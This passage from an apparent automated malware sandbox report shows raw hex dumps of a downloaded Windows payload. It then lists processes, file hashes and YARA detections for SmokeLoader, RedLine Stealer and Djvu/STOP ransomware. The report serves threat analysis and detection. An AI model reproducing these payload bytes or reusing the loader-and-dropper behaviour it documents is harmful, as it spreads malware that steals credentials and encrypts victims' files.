ae 2a 5a f5 Data Ascii: ,,-mM(M]g~-+iPKyJQLeC(G6}ks?GmDE<EZ#,.qM-CVUIhBEAAS"4V~M}/D=NSsgL&f E'l'iqs,Amo5=CUOZ
2023-01-25 08:44:47 UTC	2849	IN	Data Raw: 24 36 99 9d ab e6 30 37 3f 98 1f 35 d9 15 b2 71 43 3e 15 a2 c3 16 89 92 26 fb 11 3c 38 20 46 f2 8b 03 41 e9 cc a5 cd 21 0e 7d 30 03 be cd d7 74 34 c4 aa 4f b1 60 51 95 81 04 e0 d8 3d e4 2c cd b4 77 ea e6 39 66 ee 96 51 54 d4 2e 82 5b 46 b6 0a 7c 5d dd f8 90 6b ac e4 09 3d 65 be 3b b3 27 0f 19 b2 8e 9c c5 75 45 04 5f 12 01 c5 c7 5e 1e 15 86 b8 e4 cc 51 c1 04 33 e5 e3 20 14 cd 88 e5 a1 4d 87 d4 35 04 9e 7f 84 22 21 70 cb 4f 4c f0 88 f6 3e ac 4b 4f 0c d7 9f 01 f6 4f 52 b9 19 97 63 a4 cb 29 fb 24 a2 1f 10 30 9a 01 bf 66 d6 0a 57 75 8c 88 4b 37 ce 5f 91 b9 48 1d b3 35 06 ce 99 85 44 80 10 9e f6 fe 45 61 53 d7 75 a9 35 06 38 61 e1 96 0d a4 c6 d8 38 d8 7c fc 0b 69 67 f2 7f 2f 1d 36 9a fd 64 fc 00 75 a2 23 0a eb 30 50 e5 f3 ab ce 5b 03 8f fc 15 92 30 9c 7b 17 85 Data Ascii: $607?5qC>&<8 FA!}0t4O`Q=,w9fQT.[F\|]k=e;'uE_^Q3 M5"!pOL>KOORc)$0fWuK7_H5DEaSu58a8\|ig/6du#0P[0{
2023-01-25 08:44:47 UTC	2865	IN	Data Raw: 17 87 db c6 1c 3c f2 a3 66 c3 bc 76 67 3e 39 3d 0f 09 0f 55 65 d4 e4 83 85 a2 fd e9 a1 b1 1a 7e 91 e1 a4 b8 b1 59 8c 67 72 9c ff 09 f6 e5 cd 3b 81 74 3d 9e 76 e1 ab cc bf d5 08 21 c4 1c 7c ad 41 f7 c6 3f d9 81 30 7d a2 6c 2b 60 fb 7b 3f 1d fe 0a 5f 40 db 93 15 0f 80 bc af 70 0f 6b a3 9d a1 fd c3 a9 f7 d5 02 bc ff 79 24 ac bb 45 61 6d 8e 7c b1 b9 09 55 cb ef 08 fb 79 93 18 73 58 bc 4e a7 5d 31 ac 7b 46 e7 a2 dd 50 ef 22 a6 26 11 a3 10 97 24 97 c8 b1 78 c9 27 9e 56 c6 98 cb 30 09 22 9c 5d 63 41 fd 10 df 2b a7 8f 15 95 b4 18 83 bc 1d 35 f2 61 c1 1f da 2a 3b c7 43 8b 35 ea e7 a7 43 cc 21 05 00 9c b9 70 58 8c 44 07 43 5b f6 a1 64 44 84 ff 68 0d 56 5b e7 9c 5c 70 76 ae 92 0e 61 6f ef 21 b8 e4 d6 9d c2 a8 91 61 92 d2 da 71 35 64 04 99 87 d9 5b 46 4e 85 45 b1 d0 Data Ascii: <fvg>9=Ue~Ygr;t=v!\|A?0}l+`{?_@pky$Eam\|UysXN]1{FP"&$x'V0"]cA+5a*;C5C!pXDC[dDhV[\pvao!aq5d[FNE
2023-01-25 08:44:47 UTC	2881	IN	Data Raw: d3 59 3b 10 cd 49 35 3a a6 5c 98 e8 2f 4a 87 25 67 2e 7e 8b 81 98 64 6a aa 85 c1 c2 d6 63 57 3b a8 c6 82 d8 8b 42 e8 e7 df 3e 14 64 91 5c 7b 01 94 cc 67 97 f2 0d 8b 29 f7 c9 55 3c 27 24 a1 da a2 b4 c5 16 a9 6a 19 9f 9b cf 06 78 3a 35 5b c2 9d da 10 01 da 45 b6 19 08 79 86 dc 1a e2 71 ca 0e 1a 92 58 f0 f0 5a 16 74 72 1a d6 bf 96 14 57 5e de c5 02 de bb d5 30 82 8d 7b 3d ec 67 da d3 39 96 5d 8f e4 b1 8e e8 68 3b 84 1c 3c 20 44 5d ab bc 9b cf 24 37 14 a5 21 9f 95 f0 19 35 26 d8 95 97 d5 34 26 fb b3 53 84 5f 3a ad 27 3e bc 75 29 93 be dd ae dd 21 98 eb 73 1b fc 63 3f 50 fc 3e 30 ca a9 61 1d 4e 68 84 13 7b 1b 85 74 45 b2 fd 50 0e 8b 5f 53 9b 7e 27 a3 30 52 39 18 6a ae 2e 3f 87 6f 5c b2 f1 2e b7 7e 89 10 be 54 cd 5d ea 52 53 1c 03 a8 78 61 44 67 21 f7 60 5d e3 Data Ascii: Y;I5:\/J%g.~djcW;B>d\{g)U<'$jx:5[EyqXZtrW^0{=g9]h;< D]$7!5&4&S_:'>u)!sc?P>0aNh{tEP_S~'0R9j.?o\.~T]RSxaDg!`]
2023-01-25 08:44:47 UTC	2897	IN	Data Raw: 48 25 be 79 7d 4c 5f 0c 2a 3b 48 72 42 d4 e5 8d 52 88 9a d7 5f 81 e7 a9 bc bc 60 75 04 d5 7c c4 34 b1 22 54 5c f6 b5 a2 f3 5f d5 cb c9 f1 16 39 13 96 e1 32 2d a8 42 9e 98 11 c5 b9 e8 c4 ed 74 ba cd fd 0e 1e 55 49 73 52 9e 3f fd 2c 7d 73 bf a9 13 4f 9c a8 f3 8e f2 5f 11 0f 50 bb dc b9 33 0f 89 b5 fc a1 6a 72 5e 87 ea ef 6d 6c 7a b8 53 bf 56 74 dc 13 5e 9b 86 fa e1 fe fe e0 ae 05 e9 ad 22 3c a4 df 69 a3 d9 aa ac 91 41 9f 4b de 86 35 d4 df 95 83 b5 e7 97 dc ee 64 51 b1 12 fc 24 79 9d 79 b2 72 04 60 8b 8c a0 4f a4 07 40 36 f8 85 3c 79 05 0a 73 03 be c1 9a 17 65 3a 61 89 4e 52 15 b4 14 12 84 7e c0 51 63 21 2d 01 4b aa 9d 5b 13 31 e3 d1 47 40 40 54 9c 14 b6 e2 b9 1f ed f2 af 61 5c 1b ba 68 b0 36 c4 51 41 33 3f 22 bf d7 ed 8d c8 d2 1e 28 bf 61 80 a8 32 f7 82 03 Data Ascii: H%y}L_*;HrBR_`u\|4"T\_92-BtUIsR?,}sO_P3jr^mlzSVt^"<iAK5dQ$yyr`O@6<yse:aNR~Qc!-K[1G@@Ta\h6QA3?"(a2
2023-01-25 08:44:47 UTC	2913	IN	Data Raw: 83 88 48 09 b7 73 f9 41 79 c4 13 05 66 39 59 3f d9 b9 57 32 ff 8d 94 58 31 9e e7 b8 27 33 61 33 17 81 26 6d 2b f3 d1 7f 82 a2 95 99 c9 d0 5a ec 49 95 8b 85 a3 55 f3 06 30 6d 9c 3f aa fa 5c d2 93 88 08 f7 ef db 23 4b 1a 00 bf b7 60 0d 43 03 23 89 20 bc 4f e3 db 83 1e 3e 94 86 8f f2 d7 f6 79 ee 14 e6 81 a5 5a 36 03 f4 49 58 6e b5 3d 96 77 7b 0a 40 9e 3c fb 24 7f 31 7e ac 66 01 14 f6 74 c6 2f 1b 6c f8 97 93 db 1f a6 21 30 1e 97 27 32 f3 14 f3 c5 58 ec 8d c1 a1 ce 92 fb 96 e7 b3 91 c6 2b fe 11 9b 11 a7 5b a8 0d 50 62 be 39 4e ab af 6f e7 e1 86 78 f8 c2 7b 40 9f b6 6d c2 65 8c 0b 86 de e3 d0 19 60 47 99 d0 9a a7 7d a2 fc c8 76 f2 7c 41 13 6f 9b f7 cc 8e f1 43 ec be c3 e1 85 ae e9 f4 00 7c dc 45 f0 10 2c 9a 66 d1 7b 4a ae f6 c8 8a 1a 5f 1d c9 ed 64 28 25 e4 c9 Data Ascii: HsAyf9Y?W2X1'3a3&m+ZIU0m?\#K`C# O>yZ6IXn=w{@<$1~ft/l!0'2X+[Pb9Nox{@me`G}v\|AoC\|E,f{J_d(%
2023-01-25 08:44:47 UTC	2929	IN	Data Raw: c5 a7 65 25 25 8b 0c 3d 08 e0 9e f3 a4 a9 98 7d ca 57 7d 79 e6 82 67 5e cd f4 19 5c b1 9f ff 39 11 07 14 8f c4 16 cd a8 8b 6e c0 cb 76 16 a9 d1 4d a6 e1 33 1f 2c 5e 54 73 d4 63 e6 fc bb cb 2a df 13 d5 f9 a4 5a 17 93 ae 9d e5 c3 d9 ef 95 0f 0e 82 a7 77 35 79 d1 11 65 2e da 95 a3 b6 ca 9f f8 2d c1 4b ca 4d 19 99 d0 29 54 1b 9b 3f d6 b4 2b ad 14 1c 82 5f 13 7a 49 0c 0f 36 27 a6 e1 94 e8 51 37 1d c0 e4 50 64 35 ea 44 86 38 aa 9f 1a 92 e2 36 14 14 89 b9 a0 fb e9 47 69 b8 80 c9 86 4f 02 5c d0 7e 3e 4f 70 2b 41 e5 60 79 e2 88 f2 33 43 1a d5 03 c0 aa c3 e4 9f 1f a5 95 b7 27 7b 82 e3 55 02 65 35 3a 72 5e b3 d7 40 51 45 8b 0f 1e d9 04 88 a3 bb 12 70 9a 92 1c 69 2d 71 c5 42 ec 6d a5 79 b0 ff 56 5a 5e fe c9 3a d5 aa 49 60 b2 11 39 bc 47 20 b1 58 d0 62 39 2d 26 c4 8a Data Ascii: e%%=}W}yg^\9nvM3,^Tsc*Zw5ye.-KM)T?+_zI6'Q7Pd5D86GiO\~>Op+A`y3C'{Ue5:r^@QEpi-qBmyVZ^:I`9G Xb9-&
2023-01-25 08:44:47 UTC	2945	IN	Data Raw: 01 56 6b 00 8e 12 69 81 60 07 08 be 78 ac 27 ba 4e 31 d0 e1 a9 7e 75 64 09 d1 bf 88 95 c5 17 ab 2f c8 92 48 c8 86 f9 81 74 7c d0 c9 b9 bb 0e 00 d9 c0 14 39 df 58 15 13 a7 ac 09 12 63 16 b7 c4 8b 23 c4 17 78 14 15 b1 48 ef b8 63 25 53 ca 23 41 36 cb b3 46 ea f9 82 0a 95 17 5f 19 1b 3f bb 64 c7 24 47 3d 8e c4 d5 35 76 ea 4c 84 bd 8f f2 4a 9d 8e cf 3a 4e 51 79 5f bb 1c 6b 05 c6 a5 1d bb c1 c9 76 b3 09 c2 15 5d fd 47 c1 49 ec b7 f8 29 ac 58 9f 5b 0f f5 67 e8 f9 99 e8 0a f3 32 e4 65 9d c2 fe ee 09 63 af 1b 61 ea 01 29 9a 40 98 7e 50 bf b3 30 21 ba 79 f4 55 8d 12 a7 3a 02 95 c5 00 62 3c ce b8 d9 ec 38 70 01 d4 42 f4 0d 6b 1b 96 a5 b7 0f a3 ed 5c 70 ea 47 f4 4e d3 9e 19 cd e6 ba 7a 24 db 58 b4 1f ce 97 ff 1f 02 4c 03 9e 25 e8 63 66 12 c7 59 36 17 db 31 88 19 3e Data Ascii: Vki`x'N1~ud/Ht\|9Xc#xHc%S#A6F_?d$G=5vLJ:NQy_kv]GI)X[g2eca)@~P0!yU:b<8pBk\pGNz$XL%cfY61>
2023-01-25 08:44:47 UTC	2961	IN	Data Raw: e7 e1 44 de 16 aa f0 d5 92 a2 60 80 7b a0 09 f4 aa 49 cc 39 88 0b c4 63 4d e9 5f 5e cb 13 99 a8 5e d9 a1 1f 5d c8 9e 83 41 b5 ef 50 b2 3c e5 1c 29 bb 2f 8f 80 0e 5b 2a 92 1c af 90 9a 78 bc c0 85 80 03 3d ee 44 a4 10 7c 24 45 91 c3 a9 8e e7 7e e4 b9 c6 75 03 71 73 00 67 38 e7 6b 6d 00 b4 87 84 8b 2c bf 95 29 f3 b2 ad cc 7e dc a6 2c a1 39 c6 92 31 81 07 80 2b 5c 63 4a 3c ee 55 a4 31 fa 06 4b db 8d e9 1d d8 a3 6e 40 5d 8f 4c e1 25 ea 3f b4 bb 5c a6 10 5b d4 0d 6b e0 2a 5a 43 73 28 a5 23 93 09 e2 83 70 67 f1 d7 27 b5 37 17 9d 51 f4 e6 b1 18 86 60 60 84 cc 5a d9 52 5a 90 dc 03 aa 15 3c c6 b4 f8 9f 4b 34 f3 db 2b ce e2 31 b2 fd 15 75 76 5e f7 4a c2 65 2f b9 a6 96 9e 62 f7 be bd 41 4c 9a 09 e5 6e be 24 2b 54 c1 10 dc 29 0c f1 e3 41 41 03 bf ad cd 69 ea 75 6b 73 Data Ascii: D`{I9cM_^^]AP<)/[x=D\|$E~uqsg8km,)~,91+\cJ<U1Kn@]L%?\[kZCs(#pg'7Q``ZRZ<K4+1uv^Je/bALn$+T)AAiuks
2023-01-25 08:44:47 UTC	2977	IN	Data Raw: 66 07 6c 33 b3 8a b0 2e b0 13 0a 7c b1 f0 6b e5 03 a9 ba 4f a5 7b ba 85 ce b3 17 f8 40 22 d1 84 47 4b 66 e2 04 c8 c3 30 50 f3 66 08 b1 79 03 f4 83 76 44 7d 4b 7c ad f8 74 19 9a c4 17 63 22 91 5d 7c 78 e5 a3 f4 45 eb 25 ad 0b f8 cc 60 56 d6 b8 53 10 66 74 b7 77 a8 20 23 98 8b 92 76 d4 b2 d5 d5 80 f0 38 6e 30 31 c7 83 6b ef e9 fe 66 51 13 9a e1 d3 df 2b 7c ba e6 06 c9 48 15 67 f3 e5 16 31 65 7d 0f 27 24 d8 e0 55 7b 0e d0 3e 44 cc 5a 4e d7 41 e2 5d dc f6 46 35 90 2f 46 4a bb 99 a5 69 95 15 2b 56 37 1d 41 3c 1f 57 33 97 97 2b 52 3a 49 70 a3 9f ab 26 89 e3 85 91 f0 bb ed 72 22 94 af 82 61 c3 d8 16 f7 44 e7 06 f6 9f ad f3 85 2c 87 56 58 ae 1d d0 80 0e 90 cc 45 46 f2 ed a0 be 81 43 00 df c0 8d c8 df 60 9a b7 94 33 40 9f 35 d4 19 e6 14 73 b3 82 ed 63 ae 36 3e e8 Data Ascii: fl3.\|kO{@"GKf0PfyvD}K\|tc"]\|xE%`VSftw #v8n01kfQ+\|Hg1e}'$U{>DZNA]F5/FJi+V7A<W3+R:Ip&r"aD,VXEFC`3@5sc6>
2023-01-25 08:44:47 UTC	2993	IN	Data Raw: 92 50 b0 6f 15 96 f1 95 65 f7 1a 89 06 89 ed db c7 ca dc f2 bc 65 39 bd 88 97 73 24 c2 a5 38 e6 33 01 94 9c a8 ae b3 a1 e3 89 02 89 68 20 50 62 78 99 3b c4 35 bd 56 9c 26 a0 81 55 aa e7 0e 92 7b 25 b6 57 b5 08 41 79 bd 1f 71 e2 98 3e 23 5a 84 4c 41 d8 67 02 4a 46 6a 58 2d 63 6d 82 1a 64 c3 4a 0e 9a ca 81 bb 1c 07 ef b0 94 55 d8 5b a3 9d f3 1b 3c 10 d6 42 5a 24 0a 8c 0c 9d a8 fb b2 4c ce 0d f8 f6 15 4c da c6 e8 54 d8 77 e2 d2 b0 8b d1 ef ea 93 56 5f 8b 7b ee 50 3f 4f 95 12 20 0b e2 88 1f 55 2f 13 62 1f 27 e4 f7 98 b3 39 32 51 b8 30 e8 22 96 a9 fb 81 e7 09 1b e6 35 00 ad 38 6a bc 56 7a 69 a8 ed 3b a2 38 b0 61 cb eb eb 63 40 fa bd 69 83 7e d0 6a 2f 0a 4e a6 63 12 9f 78 67 3c df 7c f9 79 1a a0 5a 6e 19 e1 80 44 c4 72 9d e7 ec 89 52 34 48 ff b3 bb 3b d8 16 ae Data Ascii: Poee9s$83h Pbx;5V&U{%WAyq>#ZLAgJFjX-cmdJU[<BZ$LLTwV_{P?O U/b'92Q0"58jVzi;8ac@i~j/Ncxg<\|yZnDrR4H;
2023-01-25 08:44:47 UTC	3009	IN	Data Raw: 2a 10 48 f8 e2 cf 14 d8 fb 4e 6b c5 c2 e8 dd 2c fa cc c9 48 58 fc 78 dc fd 10 4c 6d 27 ce 75 15 ba 5d 23 27 9f 3b 57 d0 87 3e 1b 83 84 46 d6 35 43 7f d8 00 21 3f 61 5b 5b d9 88 f4 7d 3d 50 37 4f 74 00 b1 49 26 a6 fe fe 9d ec 05 ed 28 bb a0 67 5b fd 12 3a 4a b3 65 27 9c 04 15 90 42 81 c8 84 a5 56 5a b7 a2 45 bf 4f 56 82 b1 4e 79 2b 94 72 c9 49 16 58 6a 24 22 2e 1c 79 2f f9 11 9d 27 53 15 28 fd 3f ab 39 a9 76 73 2c f0 91 5f 4b ac 21 31 f9 e0 76 88 d6 87 31 7e d7 21 a0 45 96 c8 bc 36 34 81 4b 71 2e b4 ed 2b dc 75 e5 4e e3 fa 40 17 79 42 26 1e eb f6 90 c8 0f 59 ae 03 c3 bf 88 e0 b1 be 3d cc fb 5b 86 7f f3 9e 3c cc 1f 9f b5 d3 d5 3b cd 54 4a 06 b2 02 ea 5b b8 c0 ee 71 07 ba 8f 09 0f da a1 b6 36 58 e9 e9 d0 94 c1 61 62 f6 e4 35 5c 7c f8 41 ff f2 48 c7 d5 8b 00 Data Ascii: *HNk,HXxLm'u]#';W>F5C!?a[[}=P7OtI&(g[:Je'BVZEOVNy+rIXj$".y/'S(?9vs,_K!1v1~!E64Kq.+uN@yB&Y=[<;TJ[q6Xab5\\|AH
2023-01-25 08:44:47 UTC	3025	IN	Data Raw: d0 ee cd 58 a8 67 3c 59 5a f3 5f bd ba b6 f2 a3 ad be e2 68 a8 c2 75 dc 93 7e dd 56 0f 76 e4 62 cf 8d 26 dc 56 4b 81 a0 cd 9b a3 ca df ff c6 5c 6c cc bf a4 66 b5 43 df 33 ab 15 a3 a6 d0 58 ba 35 da ac 78 ff 83 82 dc 4c ba c0 11 c1 15 d8 ce 3e 1a bd 10 6f e2 ef 19 b8 11 87 c0 ab f6 62 a9 40 72 e2 0b 93 2e eb a8 27 fe 92 00 e6 34 03 ff c5 a4 0c f7 74 96 fd 5a 26 57 e5 f9 c7 bb 7b af 3a 60 49 a1 60 94 fc 3a 00 f6 f2 25 e8 ad d2 fd 66 4e 3a cd 06 a7 5a d3 4f fa b4 c0 aa 7f e3 5e 42 d4 32 20 d0 b5 05 90 7e a6 4e e7 7b 3a a5 2d 98 9d 19 e8 b8 63 eb f6 5e 27 4a 36 70 fb af d0 fe 83 35 b4 87 40 62 f9 f9 02 7c 3f a8 bb 18 28 01 38 02 6c a4 73 ca c0 1f d8 a7 fb cf ec 7b f6 62 e4 96 cb 67 df 2d 7d b9 60 85 33 ec 9b ee 13 d4 eb fc 6d c8 ac 2e a5 3e 9a 88 e1 30 d0 ee Data Ascii: Xg<YZ_hu~Vvb&VK\lfC3X5xL>ob@r.'4tZ&W{:`I`:%fN:ZO^B2 ~N{:-c^'J6p5@b\|?(8ls{bg-}`3m.>0
2023-01-25 08:44:47 UTC	3041	IN	Data Raw: e6 05 bd 37 b9 17 b1 63 cc 6c a3 18 b5 c3 e2 06 3e 4d 7a e4 bf 9d 1f 3b 1d f1 cc fd a6 0d 31 af ac 52 dc 0a cc aa 1e c9 a4 1b e0 16 96 8a 7d c2 91 e0 1f bf b5 e2 f6 1d 39 9f d6 c6 24 0d 9f 08 02 37 4a d3 55 63 bf e0 21 72 e4 63 c0 8b d9 41 8d 4d 15 07 b0 09 ff 83 3d 4c d9 64 48 93 2c 9f 7c 6f f3 4c b1 3e a9 40 ce 00 d2 d4 df de 05 bc 8a 80 84 6d 41 ea 78 e0 86 d0 2b b9 1e a6 38 b1 c8 37 8e 1f 5b b0 2e e5 b7 54 69 37 1d 12 20 5c 82 de 7b 4d a8 aa 53 9e 1d 98 96 d0 6c db 4f 73 36 1a 06 b4 04 54 b7 7d db 3f 44 14 3d 84 c2 7f 21 da 8a 8a 13 56 78 84 cc f2 74 8d 05 f4 1b ba 80 77 c0 53 de e2 d6 c5 fa f8 00 1f 91 30 77 7f 1e 46 2e 35 ba 44 5e 8b 9e d8 8c 65 db a5 c8 72 10 eb e5 e6 68 1e 26 cb ee 8d 93 79 46 b4 82 e3 2b f7 df 6a 59 46 96 01 65 06 97 3a 44 f9 2f Data Ascii: 7cl>Mz;1R}9$7JUc!rcAM=LdH,\|oL>@mAx+87[.Ti7 \{MSlOs6T}?D=!VxtwS0wF.5D^erh&yF+jYFe:D/
2023-01-25 08:44:47 UTC	3057	IN	Data Raw: 05 15 00 00 05 00 de 00 71 01 00 01 10 00 65 17 00 00 05 00 df 00 74 01 00 01 10 00 69 17 00 00 ed 00 df 00 77 01 00 00 00 00 6d 17 00 00 05 00 e0 00 82 01 00 01 00 00 71 17 00 00 05 00 e0 00 87 01 03 01 10 00 19 15 00 00 05 00 e8 00 97 01 0b 01 10 00 1d 15 00 00 69 00 e8 00 9b 01 00 00 10 00 75 17 00 00 05 00 ea 00 9b 01 08 01 10 00 79 17 00 00 69 00 ec 00 a0 01 00 01 10 00 7d 17 00 00 05 00 ee 00 a0 01 00 01 10 00 81 17 00 00 05 00 f2 00 a1 01 00 01 10 00 85 17 00 00 05 00 f4 00 a2 01 02 01 10 00 1d 15 00 00 05 00 f4 00 a5 01 03 01 10 00 21 15 00 00 05 00 00 01 b1 01 03 01 10 00 31 15 00 00 05 00 05 01 b5 01 00 01 00 00 f5 18 00 00 29 01 09 01 b9 01 00 01 00 00 f9 18 00 00 29 01 0a 01 bd 01 00 01 00 00 fd 18 00 00 29 01 0b 01 c1 01 00 01 00 00 01 19 00 Data Ascii: qetiwmqiuyi}!1)))
2023-01-25 08:44:47 UTC	3073	IN	Data Raw: 01 00 29 00 11 00 02 00 2c 00 13 00 02 00 2d 00 15 00 02 00 2e 00 17 00 01 00 2f 00 17 00 02 00 3b 00 19 00 01 00 3c 00 19 00 02 00 3d 00 1b 00 01 00 3e 00 1b 00 02 00 3f 00 1d 00 01 00 40 00 1d 00 02 00 41 00 1f 00 01 00 42 00 1f 00 02 00 43 00 21 00 01 00 44 00 21 00 02 00 45 00 23 00 01 00 46 00 23 00 02 00 49 00 25 00 02 00 81 00 27 00 02 00 82 00 29 00 02 00 83 00 2b 00 02 00 85 00 2d 00 02 00 87 00 2f 00 01 00 88 00 2f 00 02 00 89 00 31 00 01 00 8a 00 31 00 02 00 8b 00 33 00 02 00 8c 00 35 00 02 00 8e 00 37 00 02 00 8f 00 39 00 02 00 90 00 3b 00 02 00 92 00 3d 00 02 00 95 00 3f 00 02 00 96 00 41 00 02 00 98 00 43 00 02 00 9a 00 45 00 02 00 9b 00 47 00 02 00 9c 00 49 00 02 00 9d 00 4b 00 01 00 9e 00 4b 00 02 00 9f 00 4d 00 02 00 a0 00 4f 00 02 00 a1 Data Ascii: ),-./;<=>?@ABC!D!E#F#I%')+-//113579;=?ACEGIKKMO
2023-01-25 08:44:47 UTC	3089	IN	Data Raw: 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6c 00 65 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 00 00 31 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 34 00 0a 00 01 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 41 00 6e 00 65 00 64 00 62 00 2e 00 65 00 78 00 65 00 00 00 26 00 01 00 01 00 4c 00 65 00 67 00 61 00 6c 00 43 00 6f 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 00 00 00 00 2a 00 01 00 01 00 4c 00 65 00 67 00 61 00 6c 00 54 00 72 00 61 00 64 00 65 00 6d 00 61 00 72 00 6b 00 73 00 00 00 00 00 00 00 00 00 3c 00 0a 00 01 00 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 41 00 6e 00 65 Data Ascii: scription0FileVersion1.0.0.04InternalNameAnedb.exe&LegalCopyright*LegalTrademarks<OriginalFilenameAne

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: aw9Ynwqd1x.exePID: 1536, Parent PID: 3452

General

Target ID:	0
Start time:	09:41:59
Start date:	25/01/2023
Path:	C:\Users\user\Desktop\aw9Ynwqd1x.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\aw9Ynwqd1x.exe
Imagebase:	0x400000
File size:	199680 bytes
MD5 hash:	B5C3C3D5EB5E6B5415AC4D87E3C46850
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.290961017.0000000002C60000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 1536

General

Target ID:	1
Start time:	09:42:08
Start date:	25/01/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69fe90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: dbjigstPID: 996, Parent PID: 1080

General

Target ID:	13
Start time:	09:42:40
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Roaming\dbjigst
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\dbjigst
Imagebase:	0x400000
File size:	199680 bytes
MD5 hash:	B5C3C3D5EB5E6B5415AC4D87E3C46850
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.403103692.0000000002C80000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 85%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 336E.exePID: 1568, Parent PID: 3452

General

Target ID:	14
Start time:	09:42:41
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Local\Temp\336E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\336E.exe
Imagebase:	0x400000
File size:	417792 bytes
MD5 hash:	261B1DB94CCF4266128E2EB71A80FDA4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000002.577154071.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.577358269.0000000000678000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: 2560.exePID: 2136, Parent PID: 3452

General

Target ID:	15
Start time:	09:42:43
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Local\Temp\2560.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2560.exe
Imagebase:	0x400000
File size:	718848 bytes
MD5 hash:	0A006808F7AA017CAF2DF9CE9E2B55A2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.361737434.0000000002EA1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: 226F.exePID: 5992, Parent PID: 3452

General

Target ID:	16
Start time:	09:42:48
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Local\Temp\226F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\226F.exe
Imagebase:	0xff0000
File size:	1642648 bytes
MD5 hash:	EA25CE2F3580AF1DD771BAC5B0D2BF83
